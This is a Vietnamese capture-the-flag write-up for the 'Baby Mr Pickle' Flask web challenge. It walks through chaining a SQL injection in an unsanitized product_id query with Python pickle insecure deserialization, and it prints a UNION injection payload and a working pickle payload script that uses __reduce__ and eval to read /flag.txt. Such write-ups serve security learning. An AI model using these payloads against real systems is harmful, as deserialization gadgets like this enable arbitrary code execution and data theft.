[Cookie hân hoan] Web - Baby Mr Pickle

domiee13domiee13
12 min read

Hello anh em, được sự đồng ý và ủng hộ từ người anh Cookie Hân Hoan, hôm nay mình xin phép mở bát với bài writeup về challenge mà mình khá tâm đắc, đó là Baby Mr Pickle - Cookie Arena. Anh em cũng yên tâm, ngoài bài này tổ đội BC sẽ ra lò hàng loạt các bài writeup về các challenge khác trên sân chơi Cookie Arena.


Dạo qua ứng dụng web

Trang chủ của ứng dụng

Khi click vào view của 1 sản phẩm bất kỳ

Ok, ứng dụng chỉ có thế :v. Có thể tóm gọn lại đây là 1 trang web bán dưa, khi click vào 1 sản phẩm bất kỳ người dùng sẽ được đưa đến trang web chi tiết của sản phẩm. Cùng mình tìm hiểu sâu hơn về ứng dụng thông qua màn review source code phía dưới nhé.

Review source code

Challenge có cung cấp source code đi kèm như hình dưới

Lướt qua một chút, mình biết được ứng dụng web sử dụng Flask framework của Python. Theo kinh nghiệm review source code, mình ngó qua file routes.py. Với ai chưa biết thì file routes.py sẽ chứa:

  • Các URL endpoint của ứng dụng như /home, /login, /register, ...

  • Xác định các hàm xử lý (handlers) cho các URL endpoint tương ứng. Hàm này sẽ được gọi khi người dùng truy cập vào URL tương ứng. Nhiệm vụ của hàm này có thể là trả về trang HTML, xử lý dữ liệu người dùng gửi lên, thực hiện các thao tác trên cơ sở dữ liệu, ...

  • Xử lý các yêu cầu HTTP: xác định các hàm xử lý tương ứng với mỗi lại HTTP request, ví dụ đơn giản là nếu HTTP GET request đến /profile thì trả về trang cá nhân, nếu là HTTP POST request thì sẽ update thông tin do người dùng gửi lên.

  • Truyền tham số: Một số URL endpoint có thể chứa các tham số động. Tham số sẽ nằm trong cặp dấu '<>'. Ví dụ: /user/<username>

  • ...

Đấy là một số điều cơ bản về file routes.py trong Flask hoặc Django framework, anh em muốn tìm hiểu thêm có thể google xD.

File routes.py của challenge khá ngắn gọn:

from flask import Blueprint, render_template
from application.models import shop

web = Blueprint('web', __name__)


@web.route('/')
def index():
    return render_template('index.jinja2', products=shop.all_products())


@web.route('/view/<product_id>')
def product_details(product_id):
    return render_template('item.jinja2', product=shop.select_by_id(product_id))

Chúng ta có thể thấy có 2 route được define trong file routes.py trên, đó là:

  • /: Đây là root route, hay còn gọi là đường dẫn gốc của ứng dụng web. Khi người dùng truy cập domain của web, server sẽ call hàm index(), hàm index() sẽ render template có tên index.jinja2, trả về cho người dùng một danh sách các sản phẩm được truyền vào template thông qua tham số products với giá trị truyền vào là kết quả thực thi của hàm all_products() thuộc class shop.

  • /view/<product_id>: Đây là một dynamic route, nghĩa là một phần của URL sẽ được xử lý như 1 biến ( ở đây là product_id). Khi một yêu cầu HTTP GET được gửi đến đường dẫn, Flask sẽ gọi hàm product_details(product_id) của class shop và truyền kết quả trả về vào biến product, sau đó sẽ render với template item.jinja2.

Sau khi xem xét file routes.py, chúng ta có thể thấy 2 route đều được render với giá trị tham số truyền vào là kết quả sau khi gọi 2 phương thức của shop. Vậy để hiểu hương về "hành vi" của ứng dụng hãy cùng xem qua xem 2 phương thức đó sẽ làm gì

from application.database import query_db


class shop(object):

    @staticmethod
    def select_by_id(product_id):
        return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

    @staticmethod
    def all_products():
        return query_db('SELECT * FROM products')

Qua đoạn khai báo đối tượng và phương thức ở trên, chúng ta có thể thấy 2 phương thức của đối tượng shop đều thực hiện truy vấn đến cơ sở dữ liệu, chỉ khác ở chỗ hàm select_by_id() sẽ lấy ra đối tượng có id được cung cấp qua tham số đầu vào, còn hàm all_products() sẽ lấy ra toàn bộ sản phẩm. Tinh mắt một chút, các bạn sẽ thấy tham số product_id được truyền vào ở hàm select_by_id() không hề được sanitize hay filter gì cả, điều này sẽ dẫn đến SQL Injection. Mình sẽ note lại biết đâu sau cần dùng xD.

Mình chuyển qua đọc source của file app.py.

Mình có để ý thấy ở dòng 12 có define một template_filter tên là pickle . Tìm hiểu thì mình biết được template_filter là một cách để thực hiện biến đổi hoặc xử lý dữ liệu trong quá trình render template. Nghĩa là dữ liệu sau khi lấy ra từ cơ sở dữ liệu lại qua tiếp 1 template_filter rồi mới render ra cho người dùng.

Template filter pickle sẽ gọi 1 hàm pickles_load(s) với chuỗi s là dữ liệu lấy ra từ database. Chuỗi này sau đó sẽ được base64 decode và đưa vào hàm pickle.loads().

Anh em đọc đến đoạn này chắc hơi overload, tại chả biết pickle.load() là cái quái gì =)))), nhưng chill chill chill, mình sẽ clear cho anh em ở đoạn sau.

Okay, mình tiếp tục mò vào file database.py để đọc

Ở đây chúng ta thấy có thêm 1 class(lớp) được define, đó chính là dưa của chúng ta :^. Class Item được khai báo với 3 thuộc tính là tên, ảnh và giá (name, image, price). Ở ngay dưới là hàm migrate_db(), vì hàm này có chút phức tạp nên mình sẽ giải thích từng phần để anh em dễ hiểu:

  • Dòng 36 - 41: Khai báo 1 mảng gồm 4 phần tử là 4 object thuộc class Item có giá trị như trong hình

  • Dòng 43: Mở file schema.sql trong chế độ đọc ('r') và gán nội dung file cho biến f

  • Dòng 44: Đoạn code này sử dụng hàm map để thực hiện biến đổi trên từng phần tử trong mảng items được khai báo ở trên. Cụ thể, đoạn code sử dụng pickle để chuyển đổi mỗi phần tử thành một chuỗi bytes và sau đó là base64 encode. Kết quả cuối cùng trả về một mảng shop chứa các chuỗi base64

  • Dòng 45: Đọc nội dung của file f bằng f.read(). Sau đó, nó sử dụng phương thức format() để định dạng nội dung đọc được từ file. Trong đó, cặp dấu {} trong nội dung file sẽ được thay thế bằng các giá trị trong danh sách shop sử dụng *list(shop). Cuối cùng, executescript() được gọi trên con trỏ của cơ sở dữ liệu (database cursor) để thực thi các câu lệnh SQL trong nội dung đã được định dạng.

Tóm lại, đoạn mã này mở một file 'schema.sql', thực hiện một quá trình biến đổi danh sách items thành một danh sách shop gồm các chuỗi base64, và sau đó thực thi nội dung của file 'schema.sql' sau khi đã định dạng.

Nội dung file schema.sql

Vậy là sau khi đoạn code kia được execute, database sẽ được thêm 4 hàng với giá trị là các chuỗi base64.

Vậy là đến lúc này, chúng ta đã hiểu hơn về hành vi của ứng dụng. Đầu tiên, ứng dụng insert 4 sản phẩm dưới dạng base64 vào trong cơ sở dữ liệu. Sau đó, mỗi khi người dùng truy cập trang web, toàn bộ sản phẩm sẽ được lấy ra từ cơ sở dữ liệu (thông qua hàm all_products() ) và hiển thị cho người dùng, nếu click view 1 sản phẩm bất kỳ, ứng dụng sẽ thực hiện truy vấn (thông qua hàm select_by_id() ) và lấy ra dữ liệu của sản phẩm đó. Dữ liệu được lấy ra lúc này vẫn ở dạng chuỗi base64 và được truyền vào hàm render_template('item.jinja2', product=shop.select_by_id(product_id)), hàm render_template nhận giá trị tham số product làm đầu vào và giờ là lúc template filter pickle thực hiện nhiệm vụ của nó: decode chuỗi base64 và cho vào hàm pickle.loads().


Attack surface và untrusted data

Sau khi hiểu đủ sâu về hành vi/workflow của ứng dụng, việc tiếp theo mình làm là xác định các Attack Surface và Untrusted Data có thể có.

Giải thích 1 chút về attack surface và untrusted data:

  • Untrusted data là dữ liệu không tin cậy, dữ liệu mà người dùng có thể kiểm soát và truyền vào được.

  • Attack surface: dịch nôm na là bề mặt tấn công, rõ hơn một chút thì là điểm tiếp xúc và cơ chế mà một hệ thống hoặc ứng dụng cung cấp để kẻ tấn công có thể tìm ra, tận dụng hoặc tạo ra các lỗ hổng bảo mật. Dễ hiểu thì Attack Surface là nơi mà kẻ tấn công có thể truyền vào untrusted data.

Sau khi review source, chúng ta có thể thấy duy nhất một điểm mà chúng ta có thể kiểm soát đầu vào, đó là URL endpoint view/<product_id>

Rõ ràng rồi, chúng ta có thể thay đổi product_id trên URL thành bất cứ cái gì, nhưng nếu không tồn tại, trang web sẽ chỉ trả về 404

Đây cũng là endpoint bị lỗi SQLi, nhưng SQLi chưa để làm gì cả, vì như trong source đã show, flag nằm trong file flag.txt

Hướng khai thác

Như đã nói ở trên, chúng ta cần lấy được nội dung của file flag.txt và SQLi rất khó có khả năng để lấy được (nếu misconfig và SQL có thể execute được OS command thì nó khả thi).

Chúng ta cũng biết product_id được đưa vào câu truy vấn SQL để lấy ra chuỗi base64 tương ứng với sản phẩm.

Giờ là lúc để đọc thêm về module pickle của Python, vì đó là điểm tiếp theo mà dữ liệu được xử lý sau khi lấy ra ở database.

Pickle được sử dụng để thực hiện chuyển đổi các cấu trúc đối tượng Python sang một dạng byte để có thể được lưu trữ trên ổ đĩa hoặc được gửi qua mạng. Và quá trình này được gọi là serialize. Pickle serialize 1 đối tượng bằng cách gọi hàm pickle.dumps(). Ngược lại, nếu muốn chuyển từ một chuỗi byte trở lại đối tượng, chúng ta sử dụng hàm pickle.loads(), quá trình này gọi là deserialize.

Ví dụ sử dụng Pickle trong Python:

import pickle

# Định nghĩa một lớp đối tượng
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# Tạo một đối tượng Person
person = Person("John Doe", 30)

# Serialize đối tượng thành chuỗi bytes
serialized_data = pickle.dumps(person)

# In ra chuỗi bytes đã được serialize
print(serialized_data)

# Deserialize chuỗi bytes thành đối tượng
deserialized_person = pickle.loads(serialized_data)

# In ra thông tin của đối tượng đã được deserialize
print(deserialized_person.name)
print(deserialized_person.age)

Kết quả khi chạy chương trình:

Vậy sẽ ra sao nếu pickle deserialize một đối tượng do chúng ta truyền vào? Điều này sẽ tạo ra lỗ hổng Insecure deserialization | Web Security Academy (portswigger.net)

Vậy có cách nào để chúng ta truyền một đối tượng vào không? Có đó, anh em còn nhớ lỗi SQLi mình nhắc đến lúc đầu không, giờ là lúc sử dụng nó.

Nhưng sử dụng như nào, product_id không tồn tại thì sẽ trả về 404? Liệu rằng có cách nào để chọn một giá trị bất kỳ thay vì chọn những giá trị trong database không? Đây là lúc cần kiến thức SQLi =)))

Đơn giản mình sẽ thao túng chuỗi truy vấn SQL để truyền vào 1 giá trị bất kỳ bằng cách sử dụng toán tử UNION

Toán tử UNION được sử dụng để kết hợp tập hợp kết quả của hai hoặc nhiều câu lệnh SELECT. Mỗi câu lệnh SELECT với UNION phải có cùng số lượng cột, các cột phải có cùng kiểu dữ liệu, các cột trong mỗi câu lệnh SELECT phải có cùng trật tự.

Payload

' UNION SELECT '<malicios_base64>' --

Payload ở trên sẽ cho phép chúng ta truyền chuỗi base64 bất kỳ vào

Giờ thì phải craft 1 chuỗi base64 để thực hiện việc chúng ta muốn - đọc file flag.txt

Đầu tiên mình test thử xem payload phía trên có hoạt động không đã : D

Kết quả sau khi chạy

Truyền vào chuỗi base64 bất kỳ sử dụng payload SQLi phía trên

Tốt dồi tốt dồiiiii, chúng ta đã có thể truyền vào 1 object bất kỳ, việc còn lại là làm sao để lấy ra được flag thui

Để lấy được flag, mình cần mở file flag.txt và đọc nó, đơn giản vậy thôi 🐧Mình sẽ thả script gen ra chuỗi base64 ở đây và giải thích ở dưới

import pickle, base64

class test:
    def __reduce__(self):
        p="open('/flag.txt').read()"
        return (eval,(p,))

rs={'name':test()}

print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))

Okay, đây là toàn bộ những gì đoạn code phía trên sẽ thực hiện:

  • Đầu tiên, mình khai báo 1 class có tên test, class này có 1 method duy nhất đó là __reduce__ . Phương thức này sẽ được gọi khi một đối tượng được deserialize.

  • Dòng tiếp theo khai báo 1 string có nội dung là một câu lệnh của python: open('/flag.txt').read(). Câu lệnh này sẽ thực hiện mở file /flag.txt và đọc nội dung

  • Cuối cùng mình trả về một tuple gồm 2 phần tử, phần tử đầu tiên là 1 function trong python - eval(). Hàm eval sẽ thực hiện một câu lệnh và trả về kết quả. Ví dụ

    Chắc sẽ có anh em thắc mắc tại sao phải làm vậy mà không đọc và gán luôn nội dung của file flag.txt thì lý do là nếu làm như thế, câu lệnh sẽ thực hiện luôn trên máy mình chứ không đợi đến lúc deserialize trên server.

  • Dòng tiếp theo mình khai báo 1 đối tượng có thuộc tính name và gán cho nó giá trị là 1 đối tượng thuộc class test

  • Cuối cùng là serialize object mình vừa tạo và base64 encode nó

Kết quả sau khi chạy script:

Sau khi có chuỗi base64, việc còn lại là inject vào và lấy flag thôi


Lời kết

Đầu tiên shout out cho anh em Cookie Hân Hoan vì đã tạo ra một sân chơi cực kì vui với nhiều challenge thú vị. Bản thân mình cũng là lần đầu làm 1 bài Insecure Deserialize của Python và đã học được rất nhiều xD. Đây cũng là một trong những bài mình thích nhất khi phải chain 2 lỗi để có thể lấy được flag và dạng Insecure Deserialize được build bằng code Python cũng khá ít. Mong anh em sẽ học thêm được kiến thức gì đó sau khi đọc bài này, mọi ý kiến đóng góp hay thắc mắc anh em cứ thả vào comment thoải mái ạ ❤️.


Cơm thêm cho anh em

45
Subscribe to my newsletter

Read articles from domiee13 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

domiee13
domiee13

Web Application Pentester/Part-time "Beg" Bounty Hunter/Oreo eater/COD player 🐧